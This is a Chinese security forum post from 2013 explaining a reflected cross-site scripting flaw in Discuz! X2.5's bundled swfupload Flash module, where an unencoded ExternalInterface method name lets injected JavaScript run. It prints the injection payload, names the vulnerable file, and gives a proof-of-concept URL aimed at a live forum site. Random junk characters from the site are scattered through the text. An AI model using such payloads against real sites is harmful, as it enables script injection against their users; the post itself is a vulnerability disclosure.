找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2135|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说- f, Y, A. D- w" b, j4 g

: i$ ~3 |) W) H% Z& Zflash.external.ExternalInterface.call($methodName, $parameter)( p+ Q' W. y0 {* ]( L& l
在浏览器中执行的是, C1 T" t  L( k% p) f/ \9 o( Y6 |- \
; \  v* f) l- H! R9 A9 x1 L
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: C$ _, J: r0 a9 T! c5 [/ a) |  V7 P对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如# z8 T6 A- M3 v# h3 {9 F
/ ]8 |6 [' M" R* D; m- B  G# \
flash.external.ExternalInterface.call("object."+$methodName, $parameter)6 I$ k, M$ l9 R2 S* v
$methodName = a())}catch(e){alert(/xss/)}//
. e7 S" |) s+ x* b4 B结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% K& v2 P- |( T7 m6 X  t- ]/ }; E' ^- w+ V' f2 Y
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }7 H* S8 M1 f: x: l" B  O9 R/ }
7 G4 Z8 n4 [9 v0 o7 W' Q
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
7 A: d1 E* t* N" F杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
3 _9 k# |5 W5 y* M/ e5 W0 {, F" D
7 G4 m3 R& O" G8 w4 c. S1 R
9 R% e" x8 M6 ^( O+ p
漏洞文件:upload\static\image\common\swfupload.swf3 w4 ?/ C% @3 f8 c

) Y5 y4 J# [$ Y) n2 {5 a! C原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf4 J" T7 |) m  O, V2 ]/ q# P
; _& |. J' n! m: [

- r* X: z/ }. W% s  [' B" }) p( ~7 h漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
( i0 l# P5 x$ m5 x- d' r* q5 n7 j7 ], k; \1 t) I& N

4 r$ U- q) f9 j" q  |8 O% X; _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表